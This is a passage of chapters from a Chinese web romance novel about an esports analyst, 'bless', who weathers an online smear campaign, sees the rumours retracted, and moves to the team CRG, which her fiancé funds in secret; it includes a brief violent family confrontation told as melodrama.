所幸QSG赛训组配置齐全,在台上进行赛前准备阶段,主、副两名教练员足矣, 否则祝陶浮登台,弹幕不堪入眼。
“我怎么感觉像是故意针对你,常规赛不练习,国内联赛不是试水,难道要等到国际大赛才匆匆忙忙地运用新阵容啊?”
近些年里, lpl不乏一些联赛无敌,然而一到世界赛就溃败的战队。
有时候并不是实力差距,而是对于版本变化理解不够透彻,导致仓促应战之下,不可避免地陷入失败之中。
何况bp选择上面,祝陶浮从来都是顺应版本,理解版本的能力几乎是lpl断档领先,许若歆实在不理解为何招致如此多的非议。
“QSG都不管管的吗?”
身为被骂的当事人,祝陶浮不仅没有许若歆那么生气,还反过来安慰她。
“没事,QSG向来不会管理舆情,你看祁招家里据说是俱乐部的投资方之一,每次骂声里,他都首当其冲。”
这是事实,QSG的经理圆滑老练,秉持着利益至上的原则,只要不是发展到人身威胁的攻击地步,骂战的黑流量也是流量,能够给俱乐部带来热度,他从来不会让公关部多加干涉。
一边她忙着在手机里发送消息安抚许若歆的情绪,另一边她还要顾及着身侧驾驶座上的人。
作为正式的分析师,QSG自然是给祝陶浮单独安排房间,她不用再每天回到老洋房,节省了通勤时间。
对此,祝陶浮觉得梁以盏,应该感到轻松愉快,因为他不用再绕路接送自己上下班。
然而对方并没有预料中的开心,倒是把不高兴三个字彰显得淋漓尽致。
由于祝陶浮现在算是半个公众人物,两人原计划元宵上元赏灯计划取消。
那天替祝峥撑场、晚上离开以后,她回到老洋房,简单地与梁以盏吃完汤圆,就匆匆前往QSG。
依旧如同过往,梁以盏驾驶着一辆看不出特色、避人视线suv,送她去基地。
“怎么了,今天上元佳节,你心情好像不佳。”等待红绿灯的间隙,祝陶浮端详着他冷沉的脸色,犹豫询问。
侧瞥了她一眼,梁以盏散漫道:“你觉得我应该心情好?”
又来了,又是这种明明不爽、却还略带嘲讽的反问句式。
大概猜到是什么事情,祝陶浮耐着性子,好声好气地说:“这不是怕给你麻烦。”
然而梁以盏根本不接招,依然冷着脸色道:“所以什么麻烦也不让我挡,就自己担着。”
“既然这样,我们没什么关系,我有什么不开心的。”
线下放了梁以盏的鸽子,线上那些网络风暴,他自然是知晓。
第一天官宣祝陶浮的时候,全网几乎一致好评。
粉丝在接到心心念念bless的时候,偶有清醒理智粉发现,这位新晋分析师称得上零差评。
“我没看错吧,我们QSG竟然好起来了?”
“管理层终于活全家了,我们QSG也开始控制舆论了!”
……
然而舆论也就好了一天,紧接着第二天开始比赛,各种负面消息铺天盖地而来。
就连颜值容貌,都成了攻击点,说是QSG看脸选人,买了个花瓶回来。
粉丝猜测对了一半,的确有人开始把控舆论,但不是QSG公关部发力。
QSG经理来训练室告知祁招,他不清楚背后之人是谁。
如此大费周章、蛮横手笔,不允许有任何忤逆反对的声音,祁招凉凉地看了祝陶浮一眼,她就心领神会,明了是梁氏在背后强行管控。
于是祝陶浮果断制止了此类行为,舆论才开始发酵起来。
这儿也不让管,那儿也不让看,这句“没什么关系”,从某种程度上说,勉强属实。
听到他这番话语,祝陶浮想了想,觑着他的脸色,犹豫着说。
“那……未婚夫?”
“这样算是可以了吗?”
绿灯亮起,车辆继续向前行驶。
梁以盏没有回答,但祝陶浮感觉,车内空气好像随着前行,终于缓缓流动了起来。
—
四月初,国际先锋赛,lpl两支队伍与其他国家角逐冠军。
举办地点在国外,祝陶浮得返回栖梧忙于论文,于是QSG启程出发,与她远程联系bp数据。
去年一整年,在先锋赛、季中msi以及全球总决赛的S赛,lpl没有夺得任何一个冠军。
但今年,先锋赛的最后一场bo5,QSG以三比二击败lck的第一赛段榜首,拿到了近两年来的第一个冠军。
双方打得你来我往,彼此之间贡献了极为精彩的打斗场面。
尤其是两边教练组,在山穷水尽的第五把,都是踩着钢丝,进行英雄克制之间的博弈。
在先锋赛胜利消息传来的时候,祝陶浮正在开组会。
bp中途她请假在楼梯口对接消息,正式进入比赛她便返回办公室继续开会。
会议结束,课题组的成员纷纷放松下来,前往实验室收拾东西。
杨鑫和林斓走在祝陶浮身边,祝贺QSG夺得冠军。
碰巧覃鹏宇推门往外离开,在与她们擦肩而过的时候,丢下一句“别得意太早”。
给了他一个看智障的眼神,杨鑫回怼:“此事不得意,更待何时。”
林斓冷漠道:“总比有些人一辈子得意不起来要好。”
覃鹏宇:“……走着瞧。”
—
取得阶段性胜利,QSG在洲安举办庆功宴。
祝陶浮这边论文忙得差不多,动身飞往洲安。
两个多小时的飞行时间,短暂地与地面失联。
望着窗外翻滚的云层,祝陶浮想到上一次的忐忑不安。
而现在,算是拨开云雾见天明了吗?
由于QSG参加先锋赛,因此第二赛段即使已经开打,lpl将参加比赛的两支队伍时间,往后
排了几天,给予他们调整时差的空间。
但QSG全员并没有松懈下来,早早收假以后,每天依旧按时作息,进行训练。
晚上八点一刻,QSG在训练室rank,大部分上班族和学生们,迎来短暂的休息时光。
沉寂许久的微博,忽然横空出现一个热搜。
在面世的一刹那,热度排名瞬间上升至榜首。
tag简明扼要,直指姓名。
#bless 祝陶浮
—
微博上百万粉丝的大v博主,整理了一篇长文。
博文图文俱全,堪称字斟句酌、件件属实。
洲安瑞宇金融科技公司创新科技部副总监,提供了一张抓拍照片,是祝陶浮从一辆豪车上下来,与她在校学生的身份根本不符。
“祝陶浮看着清高,实际上私生活极其混乱。她是我隔壁公司,都在洲安科技园,因此好几次都碰见,她从不同的豪车上下来,我可没瞎说,有图为证。”
下一条,是盛科大学数学系博二学生覃鹏宇。
“我本来不愿意掺合电竞圈的纷纷扰扰,但祝陶浮毕竟是盛科大学的学生,我不想看到学术圈被污染,所以有些事情必须得揭露出来。”
“我与她是同一个导师,算得上直系学术关系,她发表论文靠得就是不正当裙带关系,手段十分不堪下流。”
……
人员之杂,数量之多,甚至还牵连到娱乐圈。
曝光出来的一段视频里,一向走清纯温柔路线的当红女星乔芷晴,在QSG基地明显哭得极为伤心。
镜头一转,则是祝陶浮从她身边路过,明媚容颜上神情冷漠,仿佛是她推搡了乔芷晴,后者柔柔弱弱忍住委屈没有反抗。
尚且不待看客网友们声讨,乔芷晴的粉丝们第一个不同意。
平日里温柔带笑的明星,竟然被一个冷淡凉薄的素人欺负,粉丝们纷纷跑到QSG微博底下讨要公道。
骂声不止是电竞圈,涉及到娱乐圈,学术圈,乃至生活圈。
“卧槽,这也太可怕了,想想你身边的同事是祝陶浮这种表里不一的人,什么时候给你捅刀子,都不知道!”
……
当晚,QSG分管英雄联盟的经理,连夜从外地赶回俱乐部。
向来发丝精致、西装革履,经理第一次外套打着褶皱,额发稍显凌乱,四平八稳的声线里,是掩饰不住的火急火燎。
但他尽力稳住心神,对祝陶浮道:“那个,bless,你先休息两天,暂时不跟队去竞技场。”
“她没有错,凭什么停职。”祁招冷冷压着火气,硬声发话:“我不同意。”
经理看着他,解锁手机,把他叫到隔壁小会议室。
拨通电话后,递给他。
电话页面显示,是祁招兄长,亦是如今祁家公司的董事长,决定着QSG的投资。
“觉得不服是吗,那没办法,你没有话语权的,祁招。”祁董事长显得尤为平静,平静到有些不近人情的冰冷。
“想要自己做主,那就来公司,进入董事会,我自然会放权。”这话说过无数遍,祁招从来嗤之以鼻。
此时此刻,他陷入深深的沉默——
在他们谈话的时候,祝陶浮起身,迎着队员们关心的眼神,她若无其事地说:“我去走廊透透气。”
实际上,她是想默默地离开。
在下到基地门口的那一刻,一辆熟悉的suv,正停在街边。
“上车。”接到电话,祝陶浮听到那边低哑沉稳的嗓音,令失重的心脏陡然间安静下来。
“交给我。”梁以盏。
第54章 要死别死我跟前
网络上风风雨雨, 老洋房里依然宁静祥和。
梁以盏在外地考察项目,派人开着熟悉低调的车辆前往QSG基地,避免带给她更多的舆论风波。
厨房里是熟悉的阿姨, 端出来一碗玫瑰银耳桃胶,给夜深归来的祝陶浮。
往日里笑意盈盈, 今晚阿姨脸上没有乐呵的神情,看着她满眼都是心疼。
“夫人, 您别想太多,不是您的错。”阿姨放缓了声音,和蔼地说:“今晚好好睡一觉, 一切都有先生在处理。”
当舆论风暴铺天盖地席卷,祝陶浮在QSG基地的时候,尽管她面上平静,甚至还能浅笑着将工位上的东西收走离开。
走出基地, 站在春日凉薄的夜风里,祝陶浮才后知后觉, 感到来自身体最深处的疲惫痛倦。
但是回到老洋房里, 一切纷乱混沌的情绪,都被温柔承载。
原以为会是一夜无眠,可当她洗漱完躺在床上,准备回复好友们的关心,眼皮却似千斤重, 怎么都抬不起来。
一夜无梦,生物钟忽然叫醒了她,祝陶浮翻过身拿出手机看了眼,已然是第二天的中午。
消息栏满满当当,未接来电的红点拥挤得刺眼, 祝陶浮坐起身,简单地在浴室洗漱完后下楼。
沙发上的人影,在她出现在楼梯口的第一时间,视线迅速地朝她瞥了过来。
梁以盏一身居家休闲服,神色是一贯的冷清淡然,看不出连夜从外地飞回洲安的通宵疲惫。
隔着一级台阶,她站在木质楼梯上。
即使如此,她看向梁以盏的时候,依然需要仰起头。
不知道是不是错觉,祝陶浮觉得他向来无机质的冰冷灰眸,像是有了温度,静静地注视着自己。
“醒了,就过来吃饭。”
如同平日里每一次寻常的对话,梁以盏走过来,站定在他身前。
一楼落地窗外,阳光照旧温暖,花香鸟语在风中摇晃,清风顺着玻璃窗打开的一丝缝隙来到室内,送来春日里平和与鲜活。
昨晚睡前,阿姨问她早上想吃什么,当时她脑子昏沉不太清醒,随口说了在栖梧吃的三鲜豆皮。
此时此刻,祝陶浮扭头发现餐厅里,阿姨端出来的瓷盘里,就是她昨晚随意一提的小吃。
昨夜突如其来的风暴她没有哭,走出QSG基地的时候她也没有哭,甚至早上回复好友们的关心时她没有哭。
但不知道为什么,祝陶浮注意到餐桌上放着的三鲜豆皮,眼泪莫名地掉了下来。
掉了一滴眼泪,第二滴没能成功,因为修长分明的骨节,轻轻地拭去她眼角的泪水。
往前迈了两步,梁以盏稍低着头,俯身用指背擦掉她眼眶里翻涌的雾气。
本来眼尾就红,他轻轻擦拭以后,薄皙的皮肤格外红艳。
一直以来弯翘的笑眼,几乎是罕见的垂落着,像是受了什么天大的委屈,令人不忍动容。
在梁以盏轻拭去她泪水的时候,祝陶浮眨了眨眼,眼睫潮湿,氤氲着乌黑如玉的瞳珠。
“虽然这么说不合适。”不着痕迹地轻叹了声气,梁以盏说。
“但你再这么看着我,我会忍不住吻你。”
闻言,祝陶浮红着眼尾,一瞬不错地看着他。
两相对视,静默无声。
良久,梁以盏先行别开眼神,淡声道:“要哭的话,就……”
话音凝滞在嗓音里,梁以盏喉结滚动。
借着一级台阶,祝陶浮踮脚,轻轻地在他唇角落下一个吻。
很轻,轻得仿佛如梦错觉。
然而浅淡地柔软清香,证明是真实存在的一触即逝。
重新站定在楼梯上,祝陶浮眼尾还是红得湿润,只是现在,白皙侧颜上渐渐泛起的绯色,胜过眼红。
原本别开的灰眸,复又看了过来。
现在是祝陶浮垂下卷翘的眼睫,眼神飘到窗外,顾左右而言其他:“咳咳,那我们去餐……”
细软腰身倏地被修长有力的手掌托住,祝陶浮还没反应过来,更深重的吻朝着她落了过来。
凛冽气息强势地裹挟而来,令她无法挣扎,也无力逃离——
大众舆论的风向,向来是来得快,去得也急。
可以一夜高楼起,也可以一夜高楼塌,再慢慢地在废墟上开出一朵花。
关于
bless的诸多声讨,从最初的百万大v粉的曝光开始。
仅仅一天过去,博主忽然发表声明,承认自己是收钱泼脏水,发出的聊天记录、图片视频全是伪造。
吃瓜网友表示这太诡异了,博主则解释,自己在寺庙拜会时,感受到神明指示,良心受到谴责,遂主动自首,承认造谣,以销号退网,消除深重罪孽。
网友:“这他妈还不诡异?”
但鉴于这个营销号就是以挑拨对立大众情绪、造谣生事而博得关注流量,不管哪路粉丝或是真路人,苦于此无事生非的营销号良久。
因此它决定销号退网,几乎都是拍手称快。
公司成立之初建立的微博号,由于无人关注,瑞宇金融科技公司的上一条内容,停留在四年前。
在营销号道歉退网的第四天天,瑞宇金融科技公司,发布一条关于科技部副总监和一名员工的人事决定。
由于在一次项目合作中,两人私下收买合作方,倒卖公司核心技术,给公司造成巨大的经济损失。
同时,平日里二人在公司内部暗行潜规则交易,大给公司企业文化造成非常恶劣的影响,公司董事会研究决定,开除二人并依法追究相关责任。
一周以后,盛科大学发布关于祝陶浮学术不端调查情况的说明。
文章指出,祝陶浮自入学以来,发表论文皆是依法依规,并不存在任何徇私舞弊的行为。
两周以后,盛科大学发布关于开除覃鹏宇同学的决定。
条条框框,诸多列举:学术不端,品行恶劣,造谣生事……
与此同时,相关纪检部门,对覃鹏宇入学进行彻查,牵扯出一系列涉案人员,一段时间里肃清了学术圈风气。
……
出于商务要求,微博交由工作人员打理,相当于是一个无情的转发机器。
某天QSG.chess的账号,发了条原创微博。
视频里是他与乔芷晴,在基地门口的对话拉扯。
“我与乔芷晴曾是男女关系,不牵涉其余人等。”
当红小花乔芷晴,带资进组大闹片场,拍摄被迫终止,进入冷处理阶段,渐渐销声匿迹。
……
网上论断是一页一页翻篇,变幻之快如拨弄翻书,渐渐地,看客看出些许端倪。
关于祝陶浮的负面舆论,设计到的相关人员,一个接一个站出来承认问题,并且遭到相关法律或规定的处罚,人们不得不开始,审视这个祝陶浮到底是何方神圣,竟然能使得这样一帮妖魔鬼怪老老实实低头。
第一个站出来的,是许若歆。
素人微博,带了热搜bless的tag,开始拥有关注流量。
字字句句,摆出证明,祝陶浮是个极为靠谱大方的朋友,根本不是之前爆料出来那样在校园里很差劲。
接着是跟祝陶浮实习时的同公司室友,大学同学,QSG工作人员……
甚至远在西北、高中时期教导过祝陶浮的班主任,都站出来替她澄清。
连日以来谣言一个个反转,澄清则越来越多。
bless这个名字,本是要被口诛笔伐、唾沫淹没。
然而渐渐地,又得以重现天日,站在世人面前。
—
祝家老宅,姜宛不复从前的温婉端庄,妆容尽失,惨淡狼狈地趴在地上。
变故来得突然,以温和著称的姜玄铭,在客厅里当着祝峥的面,狠狠给了姜宛几个耳光。
姜宛也是发懵,自己哥哥别说打她,从小连骂都舍不得多说,却在商场上与祝家的生意往来,也不想得罪梁氏,就这么将自己狼狈摔在地上。
“姜总,您这是何必,演哪出啊?”
从沙发上走走到姜远铭和姜宛面前,祝峥状似疑惑地皱了皱眉。
姜远铭笑得惨淡,不复从前的儒雅气质。
“应该的,小妹做错了事情,当哥哥的自是要教训一下。”
祝峥哦了声,挑眉示意他继续。
其实动机很简单,看似是联姻完美招牌的姜宛,早在年少时便对祁招芳心暗许。
只可惜落花有意,流水无情,姜宛在家族的安排下嫁与他人。
而祁招是抓不住的风,他看不见她没关系,总归眼里没有其他人,所以她可以容忍乔芷晴与祁招的不正当关系。
直到,祝陶浮的出现打破了平衡,女人的第六感直觉,她是那个变数。
祁家势力,还有她夫家的人脉,以及乔芷晴本身在娱乐圈,深谙舆论死刑的道理,构陷出这么一出谣言大戏。
姜远铭脸色惨败地道歉,一五一十地坦白,祝峥只冷眼看着,并未点破。
这其中,还有梁靖明和梁煜的手笔。
而他这个把自己摘得干干净净的兄长,恐怕并不清白,也掺和进了姜宛的计划里。
“祝董,您就大人不记小人过,原谅小妹的无心之失,也请梁氏那边,您帮忙美言几句,希望不要迁怒。”姜远铭笑着,却是比哭还难看。
然而祝峥依然只是垂睨冷眼,未有表示。
看他冷淡而立,并无动容,姜远铭以为是自己教训得不够。
姜宛还在哀婉哭泣,姜远铭一狠心,从西装外套里,抽出早已准备好的一把小刀。
“小妹,对不起,哥也是为了我们姜家。”
姜远铭跪在地上,慢慢地挪到姜宛身边,语气温柔。
在她不解的目光里,姜远铭拿着小刀,快而狠地划破姜宛的侧脸。
变故陡生,祝峥似是见惯了豪门腌臜事,眉眼没有波动一下。
凄厉尖叫划破偌大寂静的祖宅别墅,姜远铭却好似没有听到,向来斯文的脸上沾染鲜血,跪行着往前几步,恳求地看着祝峥:“祝董,这样够了吗……”
话音未落,姜远铭的脸上再次涌出鲜血。
不过不是姜宛的,而是他自己。
金丝边眼镜碎裂,他一只眼睛,插着刀尖,正是他刚刚,划破姜宛的那一把。
他没有想到,他那看起来文弱乖顺的妹妹,在剧烈的痛楚下,还能强撑着刺向自己。
如果不是他死死地攥住对方的手腕,恐怕不知是损失一只眼睛而已。
疯狂咒骂打破祖宅寂静,祝峥想到,前些日子,祝氏夫妇,也在此上演如同这般的闹剧。
不过他们后来就安静了,恐怕姜氏兄妹亦是如此吧,祝峥冷漠旁观。
“要死别死我跟前。”他说。
第55章 心软的财神爷
无论生活是如何风暴, 总要席卷着向前。
第二赛段,QSG经历了巨大的赛场外风波以后,仍然作为lpl唯二的两支队伍, 挺进季中赛msi。
由于祝陶浮牵涉的风波纷扰,再加上她没有再随队前往赛场, 一些粉丝表示,没有bless, QSG照样能行。
因为lpl总算结束了两年零冠的局面,bless这个名字争议再大,在事实的成绩上, 仍然被夸得神乎其乎。
然而QSG出征大名单上,分析师一栏依旧是bless。
刚刚还说不需要bless的网友们,瞬间傻眼。
尤其是在msi,QSG再次砍下冠军, 分析师bless仍然未变,再怎么不满意她, 也不得不承认, 夺冠就是非她莫属。
“我只看比赛,纯QSG的粉丝,赛场外的我不管也不关心,能够让QSG实实在在夺冠,我就觉得bless来了以后, 给队伍改变巨大,是这两个冠军的功臣。”
“+1,其实祝陶浮被骂得最厉害的时候,我也不敢说话,我就是觉得人家长得漂亮, bp厉害,QSG成绩也好,怎么就逮着人家骂个不停?”
“本来的事,你们队长祁招,场外也是风风雨雨,QSG上梁不正下梁歪呗。”
……
再次拿下冠军,QSG超话上上下下一片喜气洋洋,大家心照不宣,将整个话题都聚焦在夺冠上。
因此理性分析的帖子,粉丝们也能接受,在其中讨论一二。
但不知道是黑粉,还是误入路人,一句“上梁不
正下梁歪”,点燃超话积怨已久的矛盾。
有指向祁招,有指向祝陶浮,也有关于QSG管理层混乱失序的指责。
纷争愈演愈烈,堆积的愤懑怨怼,就要再次成为一场情绪爆发的火山。
QSG官微发布了一条Thank you的离队声明。
六月,QSG.bless正式断开连接。
在过往的记载中,去年lpl的夏冠,今年先锋赛的冠军,msi的冠军,分析师皆为bless,从未改变。
流言蜚语戛然而止,QSG的三个冠军,都与bless密不可分。
人心肉长,超话短暂地和平而宁静,粉丝不再争吵,而是或多或少地开始怀念起bless。
“那有什么,今年QSG就是天选之子,最重要的全球总决赛冠军,肯定还是QSG。”
超话一片低落声音,也有一些,始终认为bless不过是搭载上QSG这条大船,而名声鹊起。
“等着吧,立帖为证。”粉丝放下豪言壮语。
—
论文忙完,毕业离校,祝陶浮正式来到洲安。
为了给她接风洗尘,许若歆特意定了一家豪华的空中花园餐厅,请她吃晚餐。
“你天天加班,工作氛围紧张,身心俱疲,挣得也是辛苦钱,就不用在这么昂贵的地方吧。”
祝陶浮心疼道。
许若歆大手一挥,神色轻松而无所谓:“没事儿,赚钱不就为了花的,你正式来洲安的第一顿,必须整顿好的!”
“这么贵份量还少,不太值……”祝陶浮还想再劝说。
两人站在直达的观光电梯里,洲安夜色一览无余。
许若歆径直打断:“哎呀,贵有贵的道理,你看这风景多美啊,听同事说服务也不错,就是要加小费哈哈哈……”
被她强行拖离出电梯,祝陶浮无奈跟着她来到定好的位置坐下。
看着窗外夜景,许若歆发了会儿呆,才回头,对祝陶浮说:“其实,小桃桃,我是替你不值得。”
“明明不是你的错,可为什么走的人是你?”
知道她是替自己离开QSG,而愤愤不平。
甚至看向自己的眼神,带着心疼犹疑,小心翼翼生怕戳中她的伤心处,言辞间也是没有说那些重话。
祝陶浮笑了一下,认真道:“旧的不去,新的不来,说不定转机就在下一个路口呢?”
当她是过分乐观,许若歆无奈道:“你就别安慰我了,横空遭遇这么一劫,换个人早就承受不住,疯了崩溃了,或者是更为糟糕的结局。”
“不过—”她话音一转,想到什么,正色说。
“能有人在默默地保护你,我也算是放心。”
第一次爆发舆论危机,涉及各个圈层,对方明显是联合在一起,冲着要将她掩盖得永不翻身、而下死手。
可一夕之间,风向巨变,从源头开始,一个个都澄清谣言,偃旗息鼓。
纵然许若歆他们是主动站出来给祝陶浮证明,但素人发微博能被看到的可能性微乎其微。
在剧烈的舆论波动之下,很难注意到她们这些微小的力量。
既然是要将祝陶浮置于死地,甚至即使如许若歆之流站出来发声,那对方也做好了限制流量、压制热度,来封锁发声渠道。
但是这些最坏的料想都没有发生,不仅她们这些人的声音能够被听见,还有其他的kol博主、营销号,集中整理发布,扩大澄清的声量。
其中不乏真正转发、帮助还原事实的热心网友,可如此大批规模、环环相扣,说明背后定是有人在推波助澜、促成此事。
小部分看客归咎于所谓的天时地利,玄学命运,毕竟第一个造谣博主说过,是自己在寺庙里求神拜佛后良心谴责,才突然间发表澄清声明。
“果然,末法时代,九紫离火运开始转动,这些造谣生事的魑魅魍魉,将统统在大火中消散!”星盘命运、玄学八字的博主们,如是发文分析。
大部分人则从理性角度分析,肯定是QSG出手,将舆论风向拨正。
“chess少爷出身,之前网友们还扒过他的出身,然而硬是没扒出来他到底是出自哪家豪门,说明就是他背后的势力帮衬。”
“诶,那你这么说,他自己舆论一直挺差,怎么就不控评澄清一下?”
“嘿嘿,冲冠一怒为红颜呗,还能为什么?”
……
极小部分,像许若歆这样嗅到不对劲气息的清醒之人,明了祝陶浮背后是有人在撑腰,只是不知道,究竟是谁站在那里。
“你不愿意说,我不强求。”
职场里摸爬滚打,社会上的勾心斗角,早已不是象牙塔里,天真无邪的学生,不改变无法生存下去。
但总有些东西,没有变化,是世事变幻,所带不走的。
祝陶浮看着她,想说些什么,许若歆却俏皮地冲她眨了眨眼,举起桌上的气泡香槟。
“好了好了,今天好不容易吃顿好的,不许伤感,我等你的好消息!”
—
国内第三赛段,是全年最重要的一个赛段,对于进入世界赛的名额,比分占据最高权重。
第一、二赛段一些休赛的选手,在第三赛段重新返回赛场;原本比分靠前的队伍,则是重新调整人员,从队员到赛训组,争取磨合成最佳状态,向着世界赛的最高目标冲刺。
对于排名靠后的队伍来说,基本上已经没有希望,有的考虑转会去战力稍强的队伍,有的则是准备离开赛场,当当陪玩或者主播赚取费用。
CRG战队在一二赛段凭借硬实力,生生挤进登封组。
但即便如此,在缺乏系统的赛训培训下,CRG在垫底边缘徘徊,随时会发生排名掉落,跌入骑士之路。
今年lpl有四个世界赛的名额,在赛事前瞻里,没有一个联盟官方的预测,将CRG放进世界赛的队伍。
众所周知,CRG背后的投资方不是什么大公司,这个赛季出不了成绩,战队就会原地解散。
别家超话都在敲锣打鼓迎接新赛季,CRG超话一片惨淡,零零星星的粉丝们,对于CRG解散前途肉眼可见,已经有人开始思往昔哀嚎上了。
随着十三家俱乐部陆续官宣第三赛段大名单,只剩下CRG没有公布。
一天,两天,直至踩着转会期窗口临界线,最后一天,CRG姗姗来迟。
流量平平的CRG,也迎来了它的第一次热度高峰。
队员构成保持不变,赛训组维持原主教练的情况下,增加两名成员。
一名是曾经退役的选手,实力强劲、为人低调,作为赛事监督,分担主教练的管理责任。
另一名则是CRG求索无门、最为薄弱的环节,补强分析师—
bless。
—
“你今天怎么回事,有这么开心吗。”
祝陶浮不解,投资CRG目前看来只亏不赚:里里外外全部换新,就连原本租住的郊区别墅,都迁移到市区中心的新基地。
“这么明显吗。”梁以盏把控着方向盘,闲闲地侧瞥了她一眼。
夕阳西下余晖昏沉,他眉眼凛冽深邃,泛着说不出的柔和暗色。
“哎,换了新队伍,我倒是没你高兴。”尽管不知道他为什么心情颇为不错,但祝陶浮还是坦诚地实话实说。
闻言,难得愉悦的神色,瞬间又冷了下来,梁以盏状似不经意问:“怎么,舍不得QSG。”
他看着祁招就烦,但他不想明说,显得太过没信心,也太没底气。
但就是不爽。
“有这个原因,毕竟呆了这么久,也是我的第一个队伍。”
虽然有不愉快,有眼泪,但也有欢笑和温暖。
然而她解释以后,祝陶浮莫名感到,身边的气息更冰冷凝重了。
对于梁以盏如天气般阴晴不定,祝陶浮最近琢磨出来,好像有个办法,他会瞬间好心情,恢复成餍足的慵懒感。
“都说梁氏集团董事长冷漠无情,手段狠厉,有这样的领导,怎么才能开心呢。”
这是前半句话,还有后半句,祝
陶浮没有说。
其实在梁以盏强势掌权之下,集团公司一改曾经的冗杂繁琐,清理梁氏门户关系以后,反而愈发清明壮大,真正的能人才士得以显现,合作商纷纷愿意与梁氏建交。
知道她是故意气自己,梁以盏顺着她的话语往下,梁以盏凉凉道:“既然知道,准备怎么讨好你的上司?”
祝陶浮状似惊讶,回怼说:“没想到梁董是这种人,竟然强迫下属。”
“我从不强迫下属,都是他们主动请辞。”
趁着红绿灯的等待间隙,梁以盏单手扶着方向盘,懒懒散散转身看向她。
“但对于你,我特殊对待。你说的强迫,我可以试试。”
“凭什么我与其他人不一样?”祝陶浮眨了眨眼,不服反驳。
“因为我是他们公事公办的上司,你又不让公开CRG背后是梁氏,应该是我问你,为什么我不一样,不能像其他俱乐部那样公开。”梁以盏。
原因彼此心照不宣,祝陶浮从来不提,梁以盏就随她去,却知晓她从未忘记,那支她求问两人姻缘的下下签。
当两人真正联系在一起,或许就是应劫之时。
悄然转移话题,祝陶浮思索,得出结论:“你毕竟不是真正的老板上司嘛。”
浅淡嗯了声,梁以盏明显没有被说服:“给CRG发工资还不算吗?”
祝陶浮肯定回答:“不算。”
梁以盏:“那是什么。”
“是……”她想了想,说:“是财神爷。”
梁以盏:……
眼瞅着他对于这个答案,更加不满意,赶在红灯结束的最后几秒,祝陶浮飞快地在他唇边亲了一下。
对方嗓线依然冷沉,但祝陶浮感觉到,很清浅的吻,却让周身凛冽气息松懒不少,他低沉心情应该上升了一些吧。
“你求神拜佛,都是这样吗?”梁以盏淡淡地瞥睨眼神。
红灯的最后一秒,祝陶浮又亲了一下。
“你不是说了,特殊对待。”眉眼狡黠灵动,金色夕阳映照得笑容艳丽明媚,祝陶浮说。
“你是,心软的财神爷。”
第56章 你说呢,ble……
第三赛段正式开始, 夏日炎炎,暑气蒸腾,一支新生队伍, 开始真正地进入大众视野。
随着祝陶浮加入CRG,一直在登封组边缘徘徊的队伍, 渐渐地开始赢下一场又一场比赛,排名往上攀升, 来到前四。
由于是常规赛的bo3,CRG都是打满以后二比一取得胜利,而不是像老牌强队, 几乎是二比零的碾压高居积分榜单。
观众有的看好这支新生力量,有的则嘲讽,bo3而已,什么都看不出来, 要见真章,还得是季后赛的bo5。
原本模样就还不错的五名队员, 现在更换新的投资方, 妆发配备专业团队,每次亮相都十分帅气爽朗。
现在电子竞技商业化运作,尽管还是成绩为王,但高颜值会给队伍增加赋分,吸引观众眼球。
这是把双刃剑, 打得好的时候,观众会夸赞,打得不好的时候,骂声加倍。
以前CRG被戏称为“要对线有身高,要打团有颜值”, 现在监督和分析师补充赛训,承担了赛训组的重担,CRG拼肌肉的队伍,像是突然链接长出了大脑。
原本只会打优势局,经济比分领先前二十分钟,就会溃败,现在逆风团慢慢能接手,学会了拉扯运营。
所谓红气养人,有了成绩,队员们也有了信心,平时训练格外刻苦认真,几乎可以算得上是全联盟最努力的队伍。
他们十分珍惜投资方的注资支撑,和加盟的两名赛训组成员,所以一点没觉得训练苦痛。
CRG全队上下凝成一条心,训练得热火朝天。
唯有一个人不太满意,就是CRG新一届投资人。
“你刚开始不是还挺开心的吗,怎么感觉你心情又不好了。”
尽管CRG新换的基地,从郊区搬往市中心,已经离他们在附近的高档小区很近了。
但随着训练时间越来越晚,祝陶浮决定晚上不回去了,就在基地休息。
“你不用接我上下班,能多些休息时间,不好吗?”祝陶浮回房间收拾东西,她自己的没带来什么,所以很快推着行李箱出来。
斜倚在房门口,梁以盏长腿一迈,拦住她的去路。
“先说好。”他掀起眼皮,散漫着冷声。
“比赛结束,我要连本带息,讨回来。”
祝陶浮想了想,道:“那得很久吧,十一月份了。”
灰眸懒洋洋地望向她,梁以盏闲闲道:“这么有信心?”
黝黑圆润的眼珠坦然回望,祝陶浮反问:“怎么了,是对我们的队伍没有信心吗,天使投资人?”
lpl俱乐部的赞助商,投资战队皆是因为有利可图,品牌logo会印在队服上用以广告宣传。
然而从新的投资方接手,对方并没有第一时间火急火燎更换表面功夫的队服,而是将QSG的硬件设备、住宿环境等实实在在的衣食住行,里里外外升级换新。
如果是排名靠前的队伍还算正常,然而CRG此前名不见经传,濒临破产,队员全都是新生小将,没有明星选手。
整个配置就透露出一种不差钱的豪迈大气,无所谓打广告式地投资宣传,也不在乎CRG是否能完成预期回报。
高情商是“天使投资人”,通俗易懂地讲,网友调侃是“冤大头”。
原因无他,祝陶浮委婉表达两人明面上还是不要有牵扯。
梁以盏知晓,还是她曾经的那支下下签,和年初吴真对于水火相济卦象,心有余悸。
“但是这样不好吧。”祝陶浮思索,商业投资是理性客观的,她那未曾明说的理由,太过玄乎离奇。
“没什么不好。”梁以盏显得很平静,淡嗓道:“这说明,你很在意我。”
祝陶浮:……?
既然不是为了商业利益而投资,俱乐部没有什么价值,而是对个人而已。
所以他轻点下颌,坦然承认:“我对我们小祝老师,一直很有信心。”
去年在QSG,初出茅庐,打得最为艰难的一仗,没人看好的情况下,梁以盏依旧觉得会赢。
理由简单,当时他说她在哪里,胜利就在哪。
时过境迁,答案还是一样。
祝陶浮眉眼弯弯,笑了笑说:“那就走吧,梁小天使。”
天使投资人,当然是小天使。
谁让他时不时叫自己小祝老师,祝陶浮不甘示弱地怼回去。
在前往QSG的基地路上,祝陶浮改掉了曾经给他备注的emoji“茶”。
“好丑。”梁以盏瞥见,毫不掩饰地给出评价。
“哪里丑了,挺可爱的。”祝陶浮再次点开emoji,头顶光环、耳朵后面两个白色的小翅膀。
梁以盏收回视线,漫不经心道:“虽然我说过,你很在意我,但是也没必要,这么朝思暮想。”
“……啊?怎么了?”祝陶浮有些错愕,不接地从手机里抬头。
“你重新改的备注。”梁以盏侧眸,状似不经意地说:“宝宝。”
闻言,祝陶浮低头,重新审视自己手机上的emoji。
“嗯……有没有可能,这不是宝宝,是天使。”她犹豫了一下,认真解释:“我应该不至于这么肉麻吧。”
梁以盏:……
